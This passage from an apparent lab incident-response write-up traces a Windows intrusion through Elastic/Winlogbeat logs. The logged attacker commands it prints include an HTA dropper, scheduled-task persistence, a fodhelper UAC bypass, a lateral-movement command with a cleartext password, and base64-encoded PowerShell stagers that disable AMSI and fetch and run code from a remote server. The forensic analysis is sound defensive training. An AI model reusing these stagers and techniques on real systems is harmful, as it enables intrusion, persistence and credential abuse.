  9200/tcp open  wap-wsp
  9300/tcp open  vrace
```

Mainly for a hosted ELK Stack application:

<figure><img src="https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mfagag8d4yY8yveDJY3%2Fuploads%2FPoD0aRJllaeT6pi3VExn%2Fimage.png?alt=media&amp;token=ac498efb-5f8e-4989-8d97-c7c186dadeec" alt=""><figcaption><p>TCP 80 (HTTP) Landing Page</p></figcaption></figure>

Meaning TCP Port 9200 should be for the *Elastic API*.

#### 2. Elastic API

There seems to be *Windows Event Logs* ingested into the platform:

```shell-session
$ curl http://elastic:elastic@10.10.241.17:9200/_cat/indices?v

  health status index                               uuid                   pri rep docs.count docs.deleted store.size pri.store.size
  green  open   .geoip_databases                    lM0DBBCZRzeTnKl49aAmJA   1   0          3            0      2.6mb          2.6mb
  green  open   .security-7                         Fp59LRkXSwm1jHrq8gpibg   1   0         60            0      258kb          258kb
  green  open   .apm-custom-link                    Ek1KihMXRwOoAIGOBcIU-w   1   0          0            0       226b           226b
  green  open   .kibana_task_manager_7.17.6_001     WSbAubYpTRmGec9_aFSUHg   1   0         18         3447      1.4mb          1.4mb
  green  open   .apm-agent-configuration            ffMaJ0oFQZKgTziSPYgewg   1   0          0            0       226b           226b
  green  open   .async-search                       2-WPoD_4QpOoKpd0SBYM2g   1   0          0            0       252b           252b
  green  open   .kibana_7.17.6_001                  lXdTCB9mRHm56zAO4YZ50A   1   0         42            0      4.8mb          4.8mb
  yellow open   winlogbeat-7.17.6-2023.11.02-000002 CDv3Ai6xSvu2HhxvzaUcjA   1   1          0            0       226b           226b
  yellow open   winlogbeat-7.17.6-2023.08.29-000001 9g4EM-4oRImckEii7zspjg   1   1      29093            0     47.6mb         47.6mb
  green  open   .tasks                              7kEiTgXrTwmguQ3TbIgUHA   1   0         12            0     57.7kb         57.7kb
```

Using the following JSON query to see what the analyst will be dealing with:

{% code fullWidth="false" %}

```json
{
	"query":{
		"bool": {
			"must": {
				"wildcard": {
					"user.name": "*"
				}
			},
			"should": [{
				"match": {
					"event.category": "process"
				}
			}],
			"filter": {
				"range": {
					"@timestamp": {
        					"gte": "2023-08-29T00:00:00", 
        					"lte": "2023-08-31T00:00:00"
					}
				}
			}
		}
	},
	"_source": ["user.name", "host.hostname"]
}
```

{% endcode %}

For the first 10000 logs based on process creations within the specified timeframe, a bulk of it was generated by `evan.hutchinson` and `allan.smith`:

```shell-session
$ curl -d "$(cat query.json)" -H 'Content-Type: application/json' -s http://elastic:elastic@10.10.241.17:9200/winlogbeat-7.17.6-2023.08.29-000001/_search?size=10000 | jq -r '.hits.hits[]."_source".user.name' | sort | uniq -c | sort -nr

   5337 evan.hutchinson
   1837 allan.smith
   1767 Administrator
    427 DC01$
    385 SYSTEM
    104 WKSTN-0051$
     42 itadmin
     22 WKSTN-1327$
     22 LOCAL SERVICE
     21 NETWORK SERVICE
   [..omitted..]
```

Now, looking at the number of endpoints with process creation logs, more than half was generated on `WKSTN-0051` and will now be assumed to be the workstation of `evan.hutchinson`:

```shell-session
$ curl -d "$(cat query.json)" -H 'Content-Type: application/json' -s http://elastic:elastic@10.10.241.17:9200/winlogbeat-7.17.6-2023.08.29-000001/_search?size=10000 | jq -r '.hits.hits[]."_source".host.hostname' | sort | uniq -c | sort -nr

   5695 WKSTN-0051
   2174 DC01
   2131 WKSTN-1327
```

## ANALYSIS

For this section, the following JSON query will be utilized but the value of `user.name` will be changed depending on the user being investigated:

```json
{
	"query":{
		"bool": {
			"must": {
				"term": {
					"user.name": "<USERNAME OF INTEREST>"
				}
			},
			"should": [{
				"match": {
					"event.category": "process"
				}
			}],
			"filter": {
				"range": {
					"@timestamp": {
        					"gte": "2023-08-29T00:00:00", 
        					"lte": "2023-08-31T00:00:00"
					}
				}
			}
		}
	},
	"_source": ["@timestamp", "host.hostname", "user.name", "user.domain", "process.name", "process.command_line", "process.pid", "process.parent.name", "process.parent.executable", "process.parent.pid"]
}
```

### I. WKSTN-0051

Upon execution of the HTA file (PID 6392), three new processes were spawned:

```shell-session
$ curl -d "$(cat query.json)" -H 'Content-Type: application/json' -s http://elastic:elastic@10.10.241.17:9200/winlogbeat-7.17.6-2023.08.29-000001/_search?size=3000 | jq -c '.hits.hits[]."_source"' | grep command_line | jq -r '"\(."@timestamp")  \(.user.name)\t\(.process.pid)\t\(.process.parent.pid)\t\(.process.command_line)"' | sort | grep 6392              

  2023-08-29T23:51:15.856Z  evan.hutchinson	6392	2940	"C:\Windows\SysWOW64\mshta.exe" "D:\ProjectFinancialSummary_Q3.pdf.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} 
  2023-08-29T23:51:16.738Z  evan.hutchinson	3832	6392	"C:\Windows\System32\xcopy.exe" /s /i /e /h D:\review.dat C:\Users\EVAN~1.HUT\AppData\Local\Temp\review.dat
  2023-08-29T23:51:16.771Z  evan.hutchinson	3680	6392	"C:\Windows\System32\rundll32.exe" D:\review.dat,DllRegisterServer
  2023-08-29T23:51:16.809Z  evan.hutchinson	6204	6392	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $A = New-ScheduledTaskAction -Execute 'rundll32.exe' -Argument 'C:\Users\EVAN~1.HUT\AppData\Local\Temp\review.dat,DllRegisterServer'; $T = New-ScheduledTaskTrigger -Daily -At 06:00; $S = New-ScheduledTaskSettingsSet; $P = New-ScheduledTaskPrincipal $env:username; $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S; Register-ScheduledTask Review -InputObject $D -Force;
```

It copies an implant somewhere in the filesystem and executes a function, `DllRegisterServer`, from `review.dat` via `rundll32.exe`. It eventually creates a scheduled task (named `Review`) presumably for persistence:

```powershell
$A = New-ScheduledTaskAction -Execute 'rundll32.exe' -Argument 'C:\Users\EVAN~1.HUT\AppData\Local\Temp\review.dat,DllRegisterServer'; 
$T = New-ScheduledTaskTrigger -Daily -At 06:00; 
$S = New-ScheduledTaskSettingsSet; 
$P = New-ScheduledTaskPrincipal $env:username; 
$D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S; 
Register-ScheduledTask Review -InputObject $D -Force;
```

Tracing the executions of `review.dat` to figure out what it does, the related PIDs were searched:

```shell-session
$ curl -d "$(cat query.json)" -H 'Content-Type: application/json' -s http://elastic:elastic@10.10.241.17:9200/winlogbeat-7.17.6-2023.08.29-000001/_search?size=3000 | jq -c '.hits.hits[]."_source"' | grep command_line | jq -r '"\(."@timestamp")  \(.user.name)\t\(.process.pid)\t\(.process.parent.pid)\t\(.process.command_line)"' | sort | grep 3680 

  2023-08-29T23:51:16.771Z  evan.hutchinson	3680	6392	"C:\Windows\System32\rundll32.exe" D:\review.dat,DllRegisterServer
  2023-08-29T23:51:17.116Z  evan.hutchinson	4672	3680	"C:\Windows\System32\rundll32.exe" D:\review.dat,DllRegisterServer
  
$ curl -d "$(cat query.json)" -H 'Content-Type: application/json' -s http://elastic:elastic@10.10.241.17:9200/winlogbeat-7.17.6-2023.08.29-000001/_search?size=3000 | jq -c '.hits.hits[]."_source"' | grep command_line | jq -r '"\(."@timestamp")  \(.user.name)\t\(.process.pid)\t\(.process.parent.pid)\t\(.process.command_line)"' | sort | grep 4672

  2023-08-29T23:51:17.116Z  evan.hutchinson	4672	3680	"C:\Windows\System32\rundll32.exe" D:\review.dat,DllRegisterServer
  2023-08-29T23:53:47.951Z  evan.hutchinson	6660	4672	"C:\Windows\system32\cmd.exe" /c "whoami /all"
  2023-08-29T23:54:12.765Z  evan.hutchinson	5496	4672	"C:\Windows\system32\net.exe" users
  2023-08-29T23:54:16.129Z  evan.hutchinson	6932	4672	"C:\Windows\system32\net.exe" localgroup administrators
  2023-08-29T23:54:48.565Z  evan.hutchinson	4504	4672	"C:\Windows\system32\whoami.exe" /groups
  2023-08-29T23:54:48.608Z  evan.hutchinson	4468	4672	"C:\Windows\system32\whoami.exe" /groups
  2023-08-29T23:54:49.043Z  evan.hutchinson	5308	4672	"C:\Windows\system32\fodhelper.exe" 
  2023-08-29T23:54:49.213Z  evan.hutchinson	5180	4672	"C:\Windows\system32\fodhelper.exe" 
  2023-08-30T01:40:37.178Z  evan.hutchinson	2260	4672	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "$credential = (New-Object PSCredential -ArgumentList ('QUICKLOGISTICS\allan.smith', (ConvertTo-SecureString 'Tr!ckyP@ssw0rd987' -AsPlainText -Force))) ; Invoke-Command -Credential $credential -ComputerName WKSTN-1327 -ScriptBlock {powershell -enc SQBmACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0AZwBlACAAMwApAHsAfQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoARQB4AHAAZQBjAHQAMQAwADAAQwBvAG4AdABpAG4AdQBlAD0AMAA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHMAZQByAD0AJAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBqAEEARwBRAEEAYgBnAEEAdQBBAEcASQBBAFkAUQBCAHUAQQBHAEUAQQBiAGcAQgBoAEEASABBAEEAWgBRAEIAbABBAEcAdwBBAGMAQQBCAGgAQQBIAEkAQQBkAEEAQgA1AEEAQwA0AEEAYgBnAEIAbABBAEgAUQBBAE8AZwBBADQAQQBEAEEAQQAnACkAKQApADsAJAB0AD0AJwAvAGEAZABtAGkAbgAvAGcAZQB0AC4AcABoAHAAJwA7ACQAdwBjAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAkAHUAKQA7ACQAdwBjAC4AUAByAG8AeAB5AD0AWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBEAGUAZgBhAHUAbAB0AFcAZQBiAFAAcgBvAHgAeQA7ACQAdwBjAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQATgBlAHQAdwBvAHIAawBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAOwAkAFMAYwByAGkAcAB0ADoAUAByAG8AeAB5ACAAPQAgACQAdwBjAC4AUAByAG8AeAB5ADsAJABLAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAQgB5AHQAZQBzACgAJwB9AHcAUwAxACYAVgBOAHEAbwBJAFkAKgBHACMANQAtAFAAbAB2AHsAcAAyAGYAPQA0AFoAPwB1AGEAdABAADwAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAcgBnAHMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAG8AdQBuAHQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJABfAC0AYgB4AG8AcgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJAB3AGMALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAiAEMAbwBvAGsAaQBlACIALAAiAHIAbABrAEgAVgBYAFcAYgBiAD0AMQAzAGMAZgBjAG8AOQByAFUAWAB4ADAAaQA0AEoAMwB4AFQAdQA2ADgAMgBKAEYAaQBYADAAPQAiACkAOwAkAGQAYQB0AGEAPQAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABzAGUAcgArACQAdAApADsAJABpAHYAPQAkAGQAYQB0AGEAWwAwAC4ALgAzAF0AOwAkAGQAYQB0AGEAPQAkAGQAYQB0AGEAWwA0AC4ALgAkAGQAYQB0AGEALgBsAGUAbgBnAHQAaABdADsALQBqAG8AaQBuAFsAQwBoAGEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAYQB0AGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==}"
```

The attacker seems to have been able to gain local administrator privileges on `WKSTN-0051` as the  user `evan.hutchinson` based on the sequence of user enumeration commands and eventually running `fodhelper.exe` which could be utilized for UAC Bypass primarily for Windows 10.&#x20;

It is also important to note that the last execution discovered above was for a lateral movement attempt to `WKSTN-1327` as `allan.smith`. For now, looking into executions spawned from `fodhelper.exe`:

```shell-session
$ curl -d "$(cat query.json)" -H 'Content-Type: application/json' -s http://elastic:elastic@10.10.241.17:9200/winlogbeat-7.17.6-2023.08.29-000001/_search?size=3000 | jq -c '.hits.hits[]."_source"' | grep command_line | jq -r '"\(."@timestamp")  \(.user.name)\t\(.process.pid)\t\(.process.parent.pid)\t\(.process.command_line)"' | sort | grep 5180

  2023-08-29T23:54:49.213Z  evan.hutchinson	5180	4672	"C:\Windows\system32\fodhelper.exe" 
  2023-08-29T23:54:49.444Z  evan.hutchinson	7116	5180	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -c $x=$((gp HKCU:Software\Microsoft\Windows Update).Update); powershell -NoP -NonI -W Hidden -enc $x
```

It's taking a base64 encoded string from the registry and runs it via PowerShell. What that command is could be retrieved from the logs by following the execution:

```shell-session
$ curl -d "$(cat query.json)" -H 'Content-Type: application/json' -s http://elastic:elastic@10.10.241.17:9200/winlogbeat-7.17.6-2023.08.29-000001/_search?size=3000 | jq -c '.hits.hits[]."_source"' | grep command_line | jq -r '"\(."@timestamp")  \(.user.name)\t\(.process.pid)\t\(.process.parent.pid)\t\(.process.command_line)"' | sort | grep 7116

  2023-08-29T23:54:49.444Z  evan.hutchinson	7116	5180	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -c $x=$((gp HKCU:Software\Microsoft\Windows Update).Update); powershell -NoP -NonI -W Hidden -enc $x
  2023-08-29T23:54:50.125Z  evan.hutchinson	6160	7116	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -enc SQBmACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0AZwBlACAAMwApAHsAJABSAGUAZgA9AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAOwAkAFIAZQBmAC4ARwBlAHQARgBpAGUAbABkACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUAdAB2AGEAbAB1AGUAKAAkAE4AdQBsAGwALAAkAHQAcgB1AGUAKQA7AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBFAHYAZQBuAHQAaQBuAGcALgBFAHYAZQBuAHQAUAByAG8AdgBpAGQAZQByAF0ALgBHAGUAdABGAGkAZQBsAGQAKAAnAG0AXwBlAG4AYQBiAGwAZQBkACcALAAnAE4AbwBuAFAAdQBiAGwAaQBjACwASQBuAHMAdABhAG4AYwBlACcAKQAuAFMAZQB0AFYAYQBsAHUAZQAoAFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBUAHIAYQBjAGkAbgBnAC4AUABTAEUAdAB3AEwAbwBnAFAAcgBvAHYAaQBkAGUAcgAnACkALgBHAGUAdABGAGkAZQBsAGQAKAAnAGUAdAB3AFAAcgBvAHYAaQBkAGUAcgAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAEcAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAApACwAMAApADsAfQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoARQB4AHAAZQBjAHQAMQAwADAAQwBvAG4AdABpAG4AdQBlAD0AMAA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHMAZQByAD0AJAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBqAEEARwBRAEEAYgBnAEEAdQBBAEcASQBBAFkAUQBCAHUAQQBHAEUAQQBiAGcAQgBoAEEASABBAEEAWgBRAEIAbABBAEcAdwBBAGMAQQBCAGgAQQBIAEkAQQBkAEEAQgA1AEEAQwA0AEEAYgBnAEIAbABBAEgAUQBBAE8AZwBBADQAQQBEAEEAQQAnACkAKQApADsAJAB0AD0AJwAvAG4AZQB3AHMALgBwAGgAcAAnADsAJAB3AGMALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJAB3AGMALgBQAHIAbwB4AHkAPQBbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEQAZQBmAGEAdQBsAHQAVwBlAGIAUAByAG8AeAB5ADsAJAB3AGMALgBQAHIAbwB4AHkALgBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AQwByAGUAZABlAG4AdABpAGEAbABDAGEAYwBoAGUAXQA6ADoARABlAGYAYQB1AGwAdABOAGUAdAB3AG8AcgBrAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7ACQAUwBjAHIAaQBwAHQAOgBQAHIAbwB4AHkAIAA9ACAAJAB3AGMALgBQAHIAbwB4AHkAOwAkAEsAPQBbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABCAHkAdABlAHMAKAAnAH0AdwBTADEAJgBWAE4AcQBvAEkAWQAqAEcAIwA1AC0AUABsAHYAewBwADIAZgA9ADQAWgA/AHUAYQB0AEAAPAAnACkAOwAkAFIAPQB7ACQARAAsACQASwA9ACQAQQByAGcAcwA7ACQAUwA9ADAALgAuADIANQA1ADsAMAAuAC4AMgA1ADUAfAAlAHsAJABKAD0AKAAkAEoAKwAkAFMAWwAkAF8AXQArACQASwBbACQAXwAlACQASwAuAEMAbwB1AG4AdABdACkAJQAyADUANgA7ACQAUwBbACQAXwBdACwAJABTAFsAJABKAF0APQAkAFMAWwAkAEoAXQAsACQAUwBbACQAXwBdAH0AOwAkAEQAfAAlAHsAJABJAD0AKAAkAEkAKwAxACkAJQAyADUANgA7ACQASAA9ACgAJABIACsAJABTAFsAJABJAF0AKQAlADIANQA2ADsAJABTAFsAJABJAF0ALAAkAFMAWwAkAEgAXQA9ACQAUwBbACQASABdACwAJABTAFsAJABJAF0AOwAkAF8ALQBiAHgAbwByACQAUwBbACgAJABTAFsAJABJAF0AKwAkAFMAWwAkAEgAXQApACUAMgA1ADYAXQB9AH0AOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACIAQwBvAG8AawBpAGUAIgAsACIAcgBsAGsASABWAFgAVwBiAGIAPQBUAHAAbQBVAEQAaQBiAFgAcABmAGkAVQBVADEALwBtAHcAcQB3AG0AZQBuAHQAZwBiADMASQA9ACIAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAHMAZQByACsAJAB0ACkAOwAkAGkAdgA9ACQAZABhAHQAYQBbADAALgAuADMAXQA7ACQAZABhAHQAYQA9ACQAZABhAHQAYQBbADQALgAuACQAZABhAHQAYQAuAGwAZQBuAGcAdABoAF0AOwAtAGoAbwBpAG4AWwBDAGgAYQByAFsAXQBdACgAJgAgACQAUgAgACQAZABhAHQAYQAgACgAJABJAFYAKwAkAEsAKQApAHwASQBFAFgA
  
$ echo "SQBmACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0AZwBlACAAMwApAHsAJABSAGUAZgA9AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAOwAkAFIAZQBmAC4ARwBlAHQARgBpAGUAbABkACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUAdAB2AGEAbAB1AGUAKAAkAE4AdQBsAGwALAAkAHQAcgB1AGUAKQA7AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBFAHYAZQBuAHQAaQBuAGcALgBFAHYAZQBuAHQAUAByAG8AdgBpAGQAZQByAF0ALgBHAGUAdABGAGkAZQBsAGQAKAAnAG0AXwBlAG4AYQBiAGwAZQBkACcALAAnAE4AbwBuAFAAdQBiAGwAaQBjACwASQBuAHMAdABhAG4AYwBlACcAKQAuAFMAZQB0AFYAYQBsAHUAZQAoAFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBUAHIAYQBjAGkAbgBnAC4AUABTAEUAdAB3AEwAbwBnAFAAcgBvAHYAaQBkAGUAcgAnACkALgBHAGUAdABGAGkAZQBsAGQAKAAnAGUAdAB3AFAAcgBvAHYAaQBkAGUAcgAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAEcAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAApACwAMAApADsAfQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoARQB4AHAAZQBjAHQAMQAwADAAQwBvAG4AdABpAG4AdQBlAD0AMAA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHMAZQByAD0AJAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBqAEEARwBRAEEAYgBnAEEAdQBBAEcASQBBAFkAUQBCAHUAQQBHAEUAQQBiAGcAQgBoAEEASABBAEEAWgBRAEIAbABBAEcAdwBBAGMAQQBCAGgAQQBIAEkAQQBkAEEAQgA1AEEAQwA0AEEAYgBnAEIAbABBAEgAUQBBAE8AZwBBADQAQQBEAEEAQQAnACkAKQApADsAJAB0AD0AJwAvAG4AZQB3AHMALgBwAGgAcAAnADsAJAB3AGMALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJAB3AGMALgBQAHIAbwB4AHkAPQBbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEQAZQBmAGEAdQBsAHQAVwBlAGIAUAByAG8AeAB5ADsAJAB3AGMALgBQAHIAbwB4AHkALgBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AQwByAGUAZABlAG4AdABpAGEAbABDAGEAYwBoAGUAXQA6ADoARABlAGYAYQB1AGwAdABOAGUAdAB3AG8AcgBrAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7ACQAUwBjAHIAaQBwAHQAOgBQAHIAbwB4AHkAIAA9ACAAJAB3AGMALgBQAHIAbwB4AHkAOwAkAEsAPQBbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABCAHkAdABlAHMAKAAnAH0AdwBTADEAJgBWAE4AcQBvAEkAWQAqAEcAIwA1AC0AUABsAHYAewBwADIAZgA9ADQAWgA/AHUAYQB0AEAAPAAnACkAOwAkAFIAPQB7ACQARAAsACQASwA9ACQAQQByAGcAcwA7ACQAUwA9ADAALgAuADIANQA1ADsAMAAuAC4AMgA1ADUAfAAlAHsAJABKAD0AKAAkAEoAKwAkAFMAWwAkAF8AXQArACQASwBbACQAXwAlACQASwAuAEMAbwB1AG4AdABdACkAJQAyADUANgA7ACQAUwBbACQAXwBdACwAJABTAFsAJABKAF0APQAkAFMAWwAkAEoAXQAsACQAUwBbACQAXwBdAH0AOwAkAEQAfAAlAHsAJABJAD0AKAAkAEkAKwAxACkAJQAyADUANgA7ACQASAA9ACgAJABIACsAJABTAFsAJABJAF0AKQAlADIANQA2ADsAJABTAFsAJABJAF0ALAAkAFMAWwAkAEgAXQA9ACQAUwBbACQASABdACwAJABTAFsAJABJAF0AOwAkAF8ALQBiAHgAbwByACQAUwBbACgAJABTAFsAJABJAF0AKwAkAFMAWwAkAEgAXQApACUAMgA1ADYAXQB9AH0AOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACIAQwBvAG8AawBpAGUAIgAsACIAcgBsAGsASABWAFgAVwBiAGIAPQBUAHAAbQBVAEQAaQBiAFgAcABmAGkAVQBVADEALwBtAHcAcQB3AG0AZQBuAHQAZwBiADMASQA9ACIAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAHMAZQByACsAJAB0ACkAOwAkAGkAdgA9ACQAZABhAHQAYQBbADAALgAuADMAXQA7ACQAZABhAHQAYQA9ACQAZABhAHQAYQBbADQALgAuACQAZABhAHQAYQAuAGwAZQBuAGcAdABoAF0AOwAtAGoAbwBpAG4AWwBDAGgAYQByAFsAXQBdACgAJgAgACQAUgAgACQAZABhAHQAYQA